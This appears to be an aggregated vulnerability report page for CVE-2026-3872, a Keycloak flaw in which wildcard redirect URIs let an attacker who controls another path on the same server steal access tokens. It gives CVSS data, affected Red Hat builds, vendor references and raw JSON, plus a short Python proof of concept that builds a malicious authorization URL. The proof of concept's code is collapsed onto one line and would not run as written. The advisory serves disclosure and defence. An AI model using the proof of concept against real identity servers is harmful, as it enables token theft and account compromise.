Security Vulnerability Report
中文
CVE-2026-3872 CVSS 7.3 HIGH

CVE-2026-3872

Published: 2026-04-02 13:16:26
Last Modified: 2026-04-16 20:52:43

Description

A flaw was found in Keycloak. This issue allows an attacker, who controls another path on the same web server, to bypass the allowed path in redirect Uniform Resource Identifiers (URIs) that use a wildcard. A successful attack may lead to the theft of an access token, resulting in information disclosure.

CVSS Details

CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:redhat:build_of_keycloak:-:*:*:*:text-only:*:*:* - VULNERABLE
cpe:2.3:a:redhat:build_of_keycloak:26.2:*:*:*:text-only:*:*:* - VULNERABLE
cpe:2.3:a:redhat:build_of_keycloak:26.2.15:*:*:*:text-only:*:*:* - VULNERABLE
cpe:2.3:a:redhat:build_of_keycloak:26.4:*:*:*:text-only:*:*:* - VULNERABLE
cpe:2.3:a:redhat:build_of_keycloak:26.4.11:*:*:*:text-only:*:*:* - VULNERABLE
Keycloak (具体受影响版本请参考官方安全公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept for CVE-2026-3872 # This PoC demonstrates the logic to bypass wildcard redirect URI validation. import urllib.parse def exploit(base_url, client_id, controlled_path): """ Generates a malicious authorization URL. Assumes the attacker controls 'controlled_path' on the same host. """ # The vulnerable configuration allows something like: https://target.com/valid/* # The attacker uses: https://target.com/controlled_path/ redirect_uri = f"{base_url}/{controlled_path}/" params = { "client_id": client_id, "response_type": "code", "redirect_uri": redirect_uri, "scope": "openid", "state": "xyz" } return f"{base_url}/auth/realms/master/protocol/openid-connect/auth?{urllib.parse.urlencode(params)}" # Example usage # print(exploit("https://vulnerable-keycloak.com", "public-client", "attacker-folder"))

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-3872", "sourceIdentifier": "[email protected]", "published": "2026-04-02T13:16:26.390", "lastModified": "2026-04-16T20:52:42.840", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in Keycloak. This issue allows an attacker, who controls another path on the same web server, to bypass the allowed path in redirect Uniform Resource Identifiers (URIs) that use a wildcard. A successful attack may lead to the theft of an access token, resulting in information disclosure."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-601"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:redhat:build_of_keycloak:-:*:*:*:text-only:*:*:*", "matchCriteriaId": "1830E455-7E11-4264-862D-05971A42D4A6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redhat:build_of_keycloak:26.2:*:*:*:text-only:*:*:*", "matchCriteriaId": "C339EBE3-6BFD-4082-B904-4E8DB87AAE68"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redhat:build_of_keycloak:26.2.15:*:*:*:text-only:*:*:*", "matchCriteriaId": "3BDF8A92-727E-401B-80BB-A141DCB39750"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redhat:build_of_keycloak:26.4:*:*:*:text-only:*:*:*", "matchCriteriaId": "100AA077-7467-4F62-A8FD-88BC336972DF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redhat:build_of_keycloak:26.4.11:*:*:*:text-only:*:*:*", "matchCriteriaId": "17E79930-BE1C-4901-AF63-36B3EB149AFC"}]}]}], "references": [{"url": "https://access.redhat.com/errata/RHSA-2026:6475", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://access.redhat.com/errata/RHSA-2026:6476", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://access.redhat.com/errata/RHSA-2026:6477", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://access.redhat.com/errata/RHSA-2026:6478", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://access.redhat.com/security/cve/CVE-2026-3872", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2445988", "source": "[email protected]", "tags": ["Issue Tracking", "Vendor Advisory"]}]}}